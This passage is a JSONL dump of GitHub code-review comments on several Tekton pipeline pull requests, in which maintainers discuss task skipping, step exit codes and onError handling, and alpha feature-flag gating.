above reason\r\n\r\nI've added expanded the test case to cover the multiple scenarios with both ordering and resource dependent tasks ", "comment_id": 678513926, "created_at": "2021-07-28T17:32:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "yes, that is correct that the ordering-dependent tasks should execute successfully and the resource dependencies will need default results -- added more documentation to explain this in further detail ", "comment_id": 678530146, "created_at": "2021-07-28T17:54:37Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "yes, and by skipping it right now because of missing results (instead of failing) sets it up for continued execution once default results are available and the user enables them ", "comment_id": 678534194, "created_at": "2021-07-28T18:00:23Z", "line": null, "path": "docs/pipelines.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "had a conversation with @pritidesai about this, but following up here in case someone has the same questions\r\n\r\nwhile there are multiple reasons for skipping, the precedence of the reasons is important and factored in here\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/1174247beb3c5146787899b8a5e2214c1d4867a1/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L193-L221\r\n\r\nfrom pipeline state --> parent --> when expressions --> results references --> conditions (deprecated) \r\n\r\neither way, we need to know the exact reason a task was skipped so that we can handle the exception when when expressions are scoped to task in (specifically L#279):\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/1174247beb3c5146787899b8a5e2214c1d4867a1/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L266-L286", "comment_id": 678542830, "created_at": "2021-07-28T18:13:01Z", "line": 53, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "we might have to change this to 0.27, do we? \ud83e\udd14 ", "comment_id": 684405238, "created_at": "2021-08-06T17:46:25Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "nit: extra to in - It defaults to to \"false\".", "comment_id": 684405545, "created_at": "2021-08-06T17:47:01Z", "line": null, "path": "docs/install.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "that's right, fixed it ", "comment_id": 684409684, "created_at": "2021-08-06T17:54:23Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "fixed it, thanks :) ", "comment_id": 684409874, "created_at": "2021-08-06T17:54:39Z", "line": null, "path": "docs/install.md", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "nit: adding a graph in the comment above would be helpful to understand", "comment_id": 684461773, "created_at": "2021-08-06T19:32:40Z", "line": 3800, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "nit: comment does not match here, missing `d-task` and `e-task`", "comment_id": 684462210, "created_at": "2021-08-06T19:33:44Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "added a graph diagram, so hard to draw them though, hope it helps!", "comment_id": 684482523, "created_at": "2021-08-06T20:16:37Z", "line": 3800, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "hey @jerop this check needs to be revisited. Its causing a task without any when expressions or its parent without having any when expression to skip in case a result reference is missing. The alpha test failure is legit causing a task to be skipped:\r\n\r\n```\r\n \"skippedTasks\": [\r\n {\r\n \"name\": \"task2\"\r\n }\r\n ],\r\n```\r\n\r\nTask2 should fail here since it has a result reference but the results were not initialized by the result producer task.", "comment_id": 686501265, "created_at": "2021-08-11T05:26:36Z", "line": 287, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "The [alpha](https://tekton-releases.appspot.com/build/tekton-prow/pr-logs/pull/tektoncd_pipeline/4085/pull-tekton-pipeline-alpha-integration-tests/1425292326049157120/) failure: \r\n\r\n```\r\nError waiting for PipelineRun to fail: \"pipelinerun-with-failing-step\" completed successfully, should have been failed with reason \"InvalidTaskResultReference\"\r\n```\r\n\r\nI am putting this PR on hold until we fix this check, hopefully for not too long \ud83e\udd1e \r\n\r\n/hold", "comment_id": 686502716, "created_at": "2021-08-11T05:30:08Z", "line": 287, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "thanks @pritidesai! added a check that it applies to finally tasks and if parent was skipped due to when expression only -- so won't apply to the onError alpha feature", "comment_id": 686807944, "created_at": "2021-08-11T13:01:31Z", "line": 287, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "Awesome thanks a bunch @jerop \ud83d\ude4f\ud83d\udc4d", "comment_id": 686845435, "created_at": "2021-08-11T13:44:19Z", "line": 287, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "Hey @jerop i don\u2019t think we need to limit this check to finally \ud83e\udd14, in case of the DAG tasks, a task is skipped without any when expression or without having when expression in any of the parents.\r\n\r\nthe other alpha test is failing with:\r\n\r\n\u2018\u2019\u2019\r\nexamples_test.go:65: Failed waiting for task run done: timed out waiting for the condition\r\n\u2018\u2019\u2019\r\n\r\nor is it a flake \ud83e\udd14", "comment_id": 686857740, "created_at": "2021-08-11T13:57:25Z", "line": 290, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "that was a flake, i tested it locally and it passed", "comment_id": 686858467, "created_at": "2021-08-11T13:58:09Z", "line": 290, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "it just passed here too: https://tekton-releases.appspot.com/build/tekton-prow/pr-logs/pull/tektoncd_pipeline/4085/pull-tekton-pipeline-alpha-integration-tests/1425449864539410432/", "comment_id": 686858820, "created_at": "2021-08-11T13:58:29Z", "line": 290, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "jerop", "body": "it's not limited to finally only, we check whether:\r\n- current task is a finally task and has missing result references\r\n- current task has missing result references from a parent task that was skipped due to its whenexpressions", "comment_id": 686861126, "created_at": "2021-08-11T14:00:51Z", "line": 290, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "Awesome \ud83d\udc4f thanks ", "comment_id": 686862264, "created_at": "2021-08-11T14:02:02Z", "line": 290, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "/hold cancel ", "comment_id": 686862898, "created_at": "2021-08-11T14:02:42Z", "line": 290, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4085, "repo": "pipeline"} +{"author": "pritidesai", "body": "Three optional flags here introduced here:\r\n\r\n* `onError` - this flag is initialized to either `continue` or `fail` based on the step definition\r\n* `stepPath` - the relative path specified in this flag is created under /tekton/steps/\r\n* `stepPathLink` - the relative path specified in this flag is created as a symbolic link to `stepPath`", "comment_id": 674973995, "created_at": "2021-07-22T16:36:54Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "Checking if `onError` is set to `continue` to allow a step error. By default, the entrypoint considers a container exiting with non-zero as error and hence not included any special logic for `onError` set to `fail`. We can change this logic if needed.", "comment_id": 674976511, "created_at": "2021-07-22T16:40:34Z", "line": 151, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "Two more functions are introduced (1) to create a file and write the specified content in the file (2) to create a directory and a symbolic link.", "comment_id": 674977566, "created_at": "2021-07-22T16:41:59Z", "line": null, "path": "cmd/entrypoint/post_writer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "creating an `InternalTektonResultType` with a failed exit code similar to `StartedAt` time which is then read while updating the pod status.", "comment_id": 674981391, "created_at": "2021-07-22T16:47:23Z", "line": 195, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "vdemeester", "body": "What's the reasoning about `stepPath` and `stepPathLink` ? (aka are they required for this feature, if yes, how/why?)", "comment_id": 683543721, "created_at": "2021-08-05T15:07:46Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "vdemeester", "body": "Just realizing now that\u2026 we could use `onError` with the debug feature too, like `onError: debug` \ud83d\ude05 ", "comment_id": 683546445, "created_at": "2021-08-05T15:10:55Z", "line": 310, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "vdemeester", "body": "This feels a little bit weird to me, as for example, the `index` for unnamed might appear confusing : step-unnamed-2 is the 2nd unnamed step or the 2nd step (and thus the first unnamed) ?\r\n\r\nMaybe we could have `/tekton/steps/by-index//\u2026` and `/tekton/steps/by-name//\u2026` (and use link or copy there) ?", "comment_id": 683548690, "created_at": "2021-08-05T15:13:27Z", "line": null, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "vdemeester", "body": "For the future, I think we should write in `/tekton/steps/by-index//\u2026` and then link to elsewhere (either by name, or to keep backward compat, \u2026)", "comment_id": 683550273, "created_at": "2021-08-05T15:15:18Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "vdemeester", "body": "nit: extra empty line \ud83d\ude1d ", "comment_id": 683551052, "created_at": "2021-08-05T15:16:13Z", "line": null, "path": "pkg/pod/entrypoint.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Suggest `CreateDirWithSymlink` or similar as the func name. `CreatePath` is nice and concise but the expected behaviour is much more specific than the name implies I think?", "comment_id": 683554830, "created_at": "2021-08-05T15:20:26Z", "line": null, "path": "cmd/entrypoint/post_writer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "tiny nit: suggest `Creating directory %q: %v` since it's `MkdirAll`", "comment_id": 683555097, "created_at": "2021-08-05T15:20:45Z", "line": null, "path": "cmd/entrypoint/post_writer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Given how similar this method is to `Write(string)` is there a way to consolidate the two instead of expanding the interface? e.g. grow the signature of `Write(string)` to `Write(string, string)`? Or if we want to continue supporting `Write(filename)` we could use `Write(string, ...string)` so that the content arg is optional?", "comment_id": 683555925, "created_at": "2021-08-05T15:21:34Z", "line": 21, "path": "cmd/entrypoint/post_writer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "This is great. Would also love to see a section in this doc talking a bit more in-depth about the implementation details of step exit codes / onerror if possible? e.g. purpose of both the directory & the symlink, how the exitcode is shared between steps, etc...", "comment_id": 683556924, "created_at": "2021-08-05T15:22:39Z", "line": 145, "path": "docs/developers/README.md", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Here the exit code is inside the file pointed to by `path`, is that right? So to read the exit code you need to `cat $(steps.step-X.exitCode.path)`? Could the line before this read something more like, `A step can access the exit code of any previous step by reading the file pointed to by the exitCode path variable:`", "comment_id": 683559197, "created_at": "2021-08-05T15:25:03Z", "line": null, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Given this warning I suggest simply not documenting the file path in user-facing docs. Sounds like an implementation detail we're trying to protect. Maybe a good item for the developer doc though?", "comment_id": 683559789, "created_at": "2021-08-05T15:25:44Z", "line": null, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Nice thanks for updating the variables doc :+1: ! Maybe the description could be expanded to `The path to the file where a Step's exit code is stored.`?", "comment_id": 683560431, "created_at": "2021-08-05T15:26:27Z", "line": null, "path": "docs/variables.md", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Suggest adding docstrings for any new methods in the interface. Is helpful guidance when a dev ends up directed to the interface while searching code / references.", "comment_id": 683563192, "created_at": "2021-08-05T15:29:16Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Would be useful to explain the intended purpose of the symlink too I think. Without the context it's a bit tricky to understand why it would be useful.", "comment_id": 683566105, "created_at": "2021-08-05T15:32:50Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "If we rename the method from `CreatePath` to `CreateDirAndSymlink` (or similar) I expect this comment could explain the purpose of creation rather than the mechanics. E.g. could read something like, `// Create the directory where we will store the exit codes (and eventually other metadata) of Steps.`", "comment_id": 683566748, "created_at": "2021-08-05T15:33:38Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Nit: suggest `StepDirectory` or `StepDir` just to be super explicit. Also suggest for `StepDirLink` or similar.", "comment_id": 683576728, "created_at": "2021-08-05T15:45:45Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "nit: suggest `step_dir` and `step_dir_link` (or maybe even `step_metadata_dir`? too much?) just to be super explicit about usage. Mirrors the explicitness of `wait_file` / `post_file` (though not `termination_path` \ud83d\ude2d ) ", "comment_id": 683579171, "created_at": "2021-08-05T15:48:52Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "I'm a tad confused about ` in /tekton/steps/`. Does the user pass in just `` or the full `/tekton/steps/0`?", "comment_id": 683580217, "created_at": "2021-08-05T15:50:08Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "> This feels a little bit weird to me, as for example, the `index` for unnamed might appear confusing : step-unnamed-2 is the 2nd unnamed step or the 2nd step (and thus the first unnamed) ?\r\n\r\nThis is designed to match how the containers are named. `step-unnamed-2` is the **third** step (and the first unnamed).\r\n\r\nThe containers are named `step-` if the step has a name else they are named `step-unnamed-` where `` is the index of the step in the entire list of the steps.\r\n\r\n```\r\nkubectl get tr test-taskrun-4m59w -o json | jq .status.steps | jq '.[] | .container'\r\n\"step-step0\"\r\n\"step-unnamed-1\"\r\n\"step-step2\"\r\n``` \r\n\r\n\r\n> Maybe we could have `/tekton/steps/by-index//\u2026` and `/tekton/steps/by-name//\u2026` (and use link or copy there)?\r\n\r\nLet me know if it still sounds confusing, we can make it better.\r\n\r\n", "comment_id": 683923553, "created_at": "2021-08-06T03:38:20Z", "line": null, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @sbwsg for the suggestion, have renamed it to `CreateDirWithSymlink` \ud83d\udc4d ", "comment_id": 683992397, "created_at": "2021-08-06T06:54:47Z", "line": null, "path": "cmd/entrypoint/post_writer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "Done \u2705 ", "comment_id": 683992616, "created_at": "2021-08-06T06:55:14Z", "line": null, "path": "cmd/entrypoint/post_writer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @sbwsg for the suggestion, I was a little nervous to change the existing interface when I had just started to look into this feature implementation \ud83d\ude1c I have updated the existing `Write` function to `Write(string, string)`.", "comment_id": 683993556, "created_at": "2021-08-06T06:57:06Z", "line": 21, "path": "cmd/entrypoint/post_writer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "I have added two sections in the end of the README. \r\n\r\n* What and Why of `/tekton/steps` - https://github.com/tektoncd/pipeline/pull/4106/files#diff-fb2c200965217efdd737c2d18433086a2a6cd879a5b0213fe8253cb14546be6fR472\r\n* How to access the exit code of a step from any subsequent step in a task - https://github.com/tektoncd/pipeline/pull/4106/files#diff-fb2c200965217efdd737c2d18433086a2a6cd879a5b0213fe8253cb14546be6fR601\r\n", "comment_id": 683994773, "created_at": "2021-08-06T06:59:33Z", "line": 145, "path": "docs/developers/README.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks, yup, reworded and makes more sense now \ud83e\udd23 ", "comment_id": 683995064, "created_at": "2021-08-06T07:00:09Z", "line": null, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "Dropped this kind of usage from here, instead added this in the developers doc.", "comment_id": 683995338, "created_at": "2021-08-06T07:00:38Z", "line": null, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "great suggestion, thanks \ud83d\ude0a done \u2705 ", "comment_id": 683995497, "created_at": "2021-08-06T07:00:56Z", "line": null, "path": "docs/variables.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "done \u2705 ", "comment_id": 683995584, "created_at": "2021-08-06T07:01:07Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "added a bit of doc here and also explanation in the developers doc - https://github.com/tektoncd/pipeline/pull/4106/files#diff-fb2c200965217efdd737c2d18433086a2a6cd879a5b0213fe8253cb14546be6fR593 ", "comment_id": 683995976, "created_at": "2021-08-06T07:01:54Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup make sense, done \u2705 ", "comment_id": 683996208, "created_at": "2021-08-06T07:02:22Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "renamed it to `StepMetadataDir` to match the following suggestion \ud83d\udc4d ", "comment_id": 683996509, "created_at": "2021-08-06T07:02:58Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup, no harm in being a little more verbose, renamed to `step_metadata_dir` and `step_metadata_dir_link` ", "comment_id": 683997195, "created_at": "2021-08-06T07:04:19Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup the user pass in just the ``, added an explanation in the developers doc - https://github.com/tektoncd/pipeline/pull/4106/files#diff-fb2c200965217efdd737c2d18433086a2a6cd879a5b0213fe8253cb14546be6fR590 ", "comment_id": 683997901, "created_at": "2021-08-06T07:05:50Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "vdemeester", "body": "Ok this is less confusing I think (especially if it follows the same).\r\nI still think having that `/tekton/steps/by-index/\u2026` and `\u2026/by-name/\u2026` would make sense \ud83d\ude1b (I may be biased by linux, but I am a fan of this type of construct in the `/dev` virtual fs)", "comment_id": 684015393, "created_at": "2021-08-06T07:34:14Z", "line": null, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Ah, we might have a slight mismatch to tackle here. In the new unit tests we're passing the [absolute paths](https://github.com/tektoncd/pipeline/pull/4106/files#diff-b85d52a2bc82816eb919a75b8811ccc71fe1dba55195d39bb55393e9880da840R125-R128) over to the entrypoint from the pod package.\r\n\r\nI think passing the absolute paths is a fine way to go, I just wanna make sure the arg help text here lines up with that.", "comment_id": 684206499, "created_at": "2021-08-06T12:46:06Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "Hey @sbwsg I am so sorry to confuse you \ud83d\ude2d it is taking the absolute path similar to the others i.e. \r\n\r\n```go\r\n\t\t\t\t\"-wait_file\", filepath.Join(mountPoint, fmt.Sprintf(\"%d\", i-1)),\r\n\t\t\t\t\"-post_file\", filepath.Join(mountPoint, fmt.Sprintf(\"%d\", i)),\r\n\t\t\t\t\"-termination_path\", terminationPath,\r\n\t\t\t\t\"-step_metadata_dir\", filepath.Join(pipeline.StepsDir, name),\r\n\t\t\t\t\"-step_metadata_dir_link\", filepath.Join(pipeline.StepsDir, fmt.Sprintf(\"%d\", i)),\r\n\t\t\t}\r\n```\r\n ", "comment_id": 684397116, "created_at": "2021-08-06T17:32:05Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": "pritidesai", "body": "I have updated the doc and this file as well. While implementing I had a relative path in mind but going with how the other flags are implemented, chose to go with absolute path and forgot all about it \ud83d\ude22 ", "comment_id": 684397852, "created_at": "2021-08-06T17:33:29Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Awesome, makes total sense, cheers @pritidesai !", "comment_id": 684398329, "created_at": "2021-08-06T17:34:18Z", "line": null, "path": "cmd/entrypoint/main.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "\ud83d\udc4d nice, thanks a lot for tackling that.", "comment_id": 686100895, "created_at": "2021-08-10T14:56:27Z", "line": 124, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 4106, "repo": "pipeline"} +{"author": null, "body": "Oh wow, I hadn't even considered this case. Good point!", "comment_id": 686398128, "created_at": "2021-08-11T00:00:19Z", "line": 379, "path": "docs/tasks.md", "pr_number": 4106, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it looks like this functionality is being marked alpha by adding it only to the alpha type - thats a different approach than we've taken via [TEP-0033](https://github.com/tektoncd/community/blob/main/teps/0033-tekton-feature-gates.md) - the approach we're favoring is to us [enable-api-fields: alpha](https://github.com/tektoncd/pipeline/blob/main/docs/install.md#customizing-the-pipelines-controller-behavior) to gate functionality like this - this is a _controller_ setting though so if this is implemented in the webhook, maybe we need to either port that flag over to the webhook, or let the webhook read that value from the same configmap as the controller? probably doesnt make sense to need to configure it twice... TEP-0033 could use an update to include the webhook, though it does say:\r\n\r\n> Since the API fields will exist in the CRD with or without the flags, this will be enforced at runtime by the webhook admission controller: if the flag is not enabled and a user tries to use an alpha field, the webhook will not allow the CRD to be stored and will return an actionable error. (Same for beta.)\r\n\r\nwhich feels like it implies that the webhook should be aware of this configuration", "comment_id": 686181726, "created_at": "2021-08-10T17:31:46Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "hmmm - the TEP also says:\r\n\r\n> Use of alpha CRDs would not require enable-api-fields to be set, neither would beta, i.e. enable-api-fields only gates access to fields within CRDs, not to CRDs themselves.\r\n\r\nIt feels strange to require `enabled-api-fields: alpha` if you're already explicitly using the v1alpha1 API, though I think it does make sense to require this for any alpha fields in the v1beta that we can't easily separate out. I'm trying to avoid v1beta1 to avoid any deprecation policy concerns while we're trying this out. wdyt?\r\n\r\nIt makes sense to gate the loosened param constraints in the reconciler behind this flag though - I'll add this!", "comment_id": 686988375, "created_at": "2021-08-11T16:24:38Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "Any reason we need to do that now and not before ? \ud83e\udd14 ", "comment_id": 698272376, "created_at": "2021-08-30T07:52:59Z", "line": 55, "path": "config/200-role.yaml", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "Should we add \"will result in \u2026\" with the *resolved* spec ? To give some more insight of what it does, and why it is useful ?", "comment_id": 698272844, "created_at": "2021-08-30T07:53:39Z", "line": 277, "path": "docs/pipelineruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "Same as above", "comment_id": 698273247, "created_at": "2021-08-30T07:54:19Z", "line": 190, "path": "docs/taskruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "Could we have tests on those particular functions ? (as they are public, thus can be used on there own withouth the `defaulting` part)", "comment_id": 698274323, "created_at": "2021-08-30T07:56:01Z", "line": 15, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "Shouldn't this be also under a `EnableAPIFields` check ?\r\n", "comment_id": 698275006, "created_at": "2021-08-30T07:56:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_defaults.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "Same here (`EnableAPIFIelds` check)", "comment_id": 698275232, "created_at": "2021-08-30T07:57:14Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_defaults.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "We will need to make sure we document this. With alpha enabled, no matter if we use implicit parameters or not, extra params are supported (and thus this check is removed). This is almost a \"feature\" on it's own.", "comment_id": 698276605, "created_at": "2021-08-30T07:59:13Z", "line": 102, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "vdemeester", "body": "Aren't missing params the opposite, aka when a param is defined by a `Task` and not on the `TaskRun` ?", "comment_id": 698277490, "created_at": "2021-08-30T08:00:30Z", "line": 111, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "This was in response to a recommendation by @bobcatfish to gate this behavior on the alpha feature flags. The code was already in place for the webhook to consume the feature flags config map, but it didn't have the permissions to read it.", "comment_id": 698640839, "created_at": "2021-08-30T16:41:54Z", "line": 55, "path": "config/200-role.yaml", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Done.", "comment_id": 698643591, "created_at": "2021-08-30T16:45:39Z", "line": 277, "path": "docs/pipelineruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "This works because this just added additional data to the context that didn't get read because of other feature flag checks, but added for completeness!", "comment_id": 698650203, "created_at": "2021-08-30T16:55:05Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_defaults.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Done.", "comment_id": 698651458, "created_at": "2021-08-30T16:56:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_defaults.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "You're right, this does enable extra params for Tasks which isn't needed for this PR - the intent was to keep these changes primarily in the webhook, and create a resolved spec that could meet the existing restrictions.\r\n\r\nI've gone ahead and reverted the reconciler changes - we can pick this up in another PR if we want. There's likely some valid use cases here:\r\n- we already [allow extra params to be passed to PipelineRuns](https://github.com/tektoncd/pipeline/blob/main/docs/pipelineruns.md#specifying-parameters), this would be an extension of that.\r\n- I think this would allow users to use implicit params with TaskRefs as well (e.g. we would automatically assume the TaskRun params unless otherwise specified). I'm not 100% sure if we want to support this, so holding off for another PR.", "comment_id": 698656531, "created_at": "2021-08-30T17:04:32Z", "line": 102, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Reverted so no longer relevant, but the intent behind this was to skip over params that were provided in the TaskRun (`params`) that did not exist in the resolved Task spec (`paramTypes`) because they were extras.", "comment_id": 698684553, "created_at": "2021-08-30T17:46:48Z", "line": 111, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Done.", "comment_id": 698720050, "created_at": "2021-08-30T18:42:09Z", "line": 15, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Reincluded - I realized after why this is needed.\r\n\r\nFor cases where we use taskRefs, we can't propagate the implicit param down to the Task to create the 1:1 mapping this validation wants. In these cases, we may have excess params provided by the parameter, a subset of which are actually used / type checked against the resolved task spec - everything else that doesn't match we can just pass through since there's no pairing.", "comment_id": 698848342, "created_at": "2021-08-30T22:23:40Z", "line": 111, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Restored (see comment below). Added documentation that mirrors the PipelineRun wording, since that seems to have the clearest user benefit rather than just and implementation detail of this feature.", "comment_id": 698848768, "created_at": "2021-08-30T22:24:44Z", "line": 102, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4127, "repo": "pipeline"} +{"author": null, "body": "Suggest linking to the instructions for enabling alpha from here.", "comment_id": 699543169, "created_at": "2021-08-31T17:41:10Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": null, "body": "similar comment here for linking to ", "comment_id": 699546286, "created_at": "2021-08-31T17:45:48Z", "line": null, "path": "docs/taskruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "done.", "comment_id": 704509090, "created_at": "2021-09-08T15:02:52Z", "line": null, "path": "docs/taskruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "done.", "comment_id": 704509105, "created_at": "2021-09-08T15:02:53Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "pritidesai", "body": "That's interesting, then how come the webhook is throwing an error when an `alpha` feature is used without enabling featuring flag and allow with the feature flag set. May be I am missing something, will find out as I review the rest of the changes.", "comment_id": 708460345, "created_at": "2021-09-14T16:52:15Z", "line": 55, "path": "config/200-role.yaml", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Although the controller was trying to read the config, we weren't ever trying to use it anywhere in the webhook before this change.\r\n\r\nA side affect of https://github.com/tektoncd/pipeline/blob/78d6d75473ea00118fa1e07cbf6b8e97439689ad/cmd/webhook/main.go#L68 is [it tries to load all of the Pipeline controller 